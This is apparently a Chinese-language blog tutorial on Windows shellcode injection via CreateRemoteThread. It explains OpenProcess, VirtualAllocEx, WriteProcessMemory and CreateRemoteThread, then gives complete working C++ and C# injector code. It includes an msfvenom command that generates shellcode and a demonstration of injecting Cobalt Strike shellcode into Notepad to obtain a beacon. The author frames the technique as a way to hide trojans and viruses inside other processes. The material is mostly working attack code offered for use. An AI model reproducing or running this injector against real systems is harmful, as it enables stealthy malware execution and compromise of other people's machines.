0x01介绍
最近在看如何执行shellcode的方法,发现了一种叫做代码注入的方式可以使用,查了下资料,技术很久就在用了,但现在还是有很多apt组织在使用,比如APT37,Backdoor.Oldrea,AuditCred,于是学习一下。木马和病毒的好坏很大程度上取决于它的隐蔽性,木马和病毒本质上也是在执行程序代码,如果采用独立进程的方式需要考虑隐藏进程否则很容易被发现,在编写这类程序的时候可以考虑将代码注入到其他进程中,而进程注入是一种在单独的进程的地址空间中执行任意代码的方法。本文将介绍代码注入的原理以及如何使用。
0x02常见函数
为了实现代码注入,微软提供了一个邪恶的函数CreateRemoteThread
,想要执行用户代码,在Windows中最常见的就是使用回调的方式,Windows采用的是事件驱动的方式,只要发生了某些事件就会调用回调,在众多使用回调的场景中,线程的回调是最简单的,它不会干扰到目标进程的正常执行,也就不用考虑最后还原EIP的问题。最常见的就是使用CreateRemoteThread
创建一个远程线程。
OpenProcess
要对进程执行内存操作,我们必须能够访问它。可以通过使用OpenProcess
函数获得
HANDLE OpenProcess(
DWORD dwDesiredAccess,//对进程对象的请求访问权限
BOOL bInheritHandle,//布尔值,指示此进程创建的进程是否将继承此句柄。
DWORD dwProcessId//这是受害者进程的进程标识符
);
VirtualAllocEx
一旦我们获得受害者进程的句柄,我们继续为受害者进程内存中的shellcode分配空间。这是通过使用VirtualAllocEx
调用完成的。
LPVOID VirtualAllocEx(
HANDLE hProcess,//我们想要分配内存的进程
LPVOID lpAddress,//受害者进程内存中指定地址的指针
SIZE_T dwSize,//分配的内存区域的大小
DWORD flAllocationType,//指定要分配的内存类型
DWORD flProtect//它指定分配的内存保护,我们将其设置为PAGE_EXECUTE_READWRITE。
);
WriteProcessMemory
WriteProcessMemory
是一个将数据写入指定进程的内存区域的函数。需要注意的是整个内存区域必须是可写的,否则会失败,所以我们将内存分配为可写,并与可读和可执行文件一起分配。
BOOL WriteProcessMemory(
HANDLE hProcess,//我们想要写入数据的进程
LPVOID lpBaseAddress,//我们想要写入数据的地址
LPCVOID lpBuffer,//指向必须写入的数据的指针
SIZE_T nSize,//写入的数据量
SIZE_T *lpNumberOfBytesWritten//指向SIZE_T的指针,它将存储写入该目标的字节数。
);
CreateRemoteThread
CreateRemoteThread
是一个用于创建在另一个进程的虚拟空间中运行的线程的函数。
HANDLE CreateRemoteThread(
HANDLE hProcess,// 目标进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,// 安全属性
SIZE_T dwStackSize, // 进程堆栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 进程函数
LPVOID lpParameter, // 进程参数
DWORD dwCreationFlags, // 创建标志
LPDWORD lpThreadId // 参数返回ID
);
0x03大概流程
通过CreateRemoteThread
API 实现代码注入
- 选择一个受害者进程。
- 使用
OpenProcess
函数获取对进程的访问权限,以便能够执行所需的操作。 - 使用
VirtualAllocEx
函数在进程空间中分配内存。 - 将
shellcode
写入VirtualAllocEx
分配的内存位置。 - 调用
CreateRemoteThread
。
0x04 写代码
有了思路,就是写代码了,参考大佬的代码
VOID injectShellcode(DWORD dwPID) {
BOOL bWriteSuccess;
DWORD dwThreadId;
HANDLE hProcess;
HANDLE hRemoteThread;
SIZE_T numBytes;
SIZE_T payloadSize;
LPVOID lpRemoteMem;
cout << "\t[*]获取进程PID : " << dwPID << endl;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
if (hProcess == INVALID_HANDLE_VALUE)
{
cerr << "\t\t[!]获取远程进程的句柄失败" << endl;
return;
}
cout << hex;
cout << "\t\t[+] 进程句柄 : 0x" << hProcess << endl;
lpRemoteMem = nullptr;
cout << "\t[*] 为shellcode分配内存" << endl;
lpRemoteMem = VirtualAllocEx(hProcess, nullptr, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpRemoteMem)
{
cerr << "\t\t[!] 远程进程中分配内存失败." << endl;
CloseHandle(hProcess);
return;
}
cout << "\t\t[+] 分配内存 : 0x" << lpRemoteMem << endl;
cout << "\t[*] 尝试将shellcode写入进程" << endl;
payloadSize = sizeof(popCalc64);
bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, popCalc64, payloadSize, &numBytes);
if (!bWriteSuccess)
{
cerr << "\t\t[!] shellcode写入失败. ";// " << numBytes << " bytes instead of " << payloadSize << " bytes." << endl;
CloseHandle(hProcess);
return;
}
cout << "\t\t[+] 尝试将shellcode写入进程." << endl;
cout << "\t[*] 创建一个新线程来执行shellcode." << endl;
hRemoteThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpRemoteMem, nullptr, 0, &dwThreadId);
if (!hRemoteThread)
{
cerr << "\t\t[!] 创建新线程失败." << endl;
CloseHandle(hProcess);
return;
}
cout << "\t\t[+] 进程创建成功: 0x" << dwThreadId << endl;
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
}
0x05演示
好了,既然我们已经有了思路,也有方法了,就差实践了,那就弹个计算器试试
msfvenom -p windows/x64/exec CMD=calc -b "\x00" -f c
用msf生成shellcode
这里输入的PID是记事本的PID,可以看到成功打开计算器
shell
弹出计算器还远远达不到我们的要求,只有shell才是我最终的目的,这里使用cs自带的shellcode来演示,执行代码,输入记事本的PID
成功将shellcode注入记事本中,上线
0x06 最后
我们从开始原理到最后实现上线,基本知道了代码注入是啥,小弟也是第一次研究这个,有什么错误还请各位师傅指出!
另外附上c#版本代码
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Diagnostics;
[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ref uint lpThreadId);
[DllImport("Kernel32", SetLastError = true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("Kernel32", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
//http://www.pinvoke.net/default.aspx/kernel32/OpenProcess.html
public enum ProcessAccessRights
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
//https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public enum MemAllocation
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
MEM_RESET = 0x00080000,
MEM_RESET_UNDO = 0x1000000,
}
//https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
public enum MemProtect
{
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_EXECUTE_WRITECOPY = 0x80,
PAGE_NOACCESS = 0x01,
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_WRITECOPY = 0x08,
PAGE_TARGETS_INVALID = 0x40000000,
PAGE_TARGETS_NO_UPDATE = 0x40000000,
}
public static void CodeInject(int pid, byte[] buf)
{
try
{
uint lpNumberOfBytesWritten = 0;
uint lpThreadId = 0;
Console.WriteLine($"[+] Obtaining the handle for the process id {pid}.");
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid);
Console.WriteLine($"[+] Handle {pHandle} opened for the process id {pid}.");
Console.WriteLine($"[+] Allocating memory to inject the shellcode.");
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
Console.WriteLine($"[+] Memory for injecting shellcode allocated at 0x{rMemAddress}.");
Console.WriteLine($"[+] Writing the shellcode at the allocated memory location.");
if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten))
{
Console.WriteLine($"[+] Shellcode written in the process memory.");
Console.WriteLine($"[+] Creating remote thread to execute the shellcode.");
IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, ref lpThreadId);
bool hCreateRemoteThreadClose = CloseHandle(hRemoteThread);
Console.WriteLine($"[+] Sucessfully injected the shellcode into the memory of the process id {pid}.");
}
else
{
Console.WriteLine($"[+] Failed to inject the shellcode into the memory of the process id {pid}.");
}
//WaitForSingleObject(hRemoteThread, 0xFFFFFFFF);
bool hOpenProcessClose = CloseHandle(pHandle);
}
catch (Exception ex)
{
Console.WriteLine("[+] " + Marshal.GetExceptionCode());
Console.WriteLine(ex.Message);
}
}
参考:
https://attack.mitre.org/techniques/T1055/
https://bbs.pediy.com/thread-119091.htm
https://pwnrip.com/demystifying-code-injection-techniques-part-1-shellcode-injection/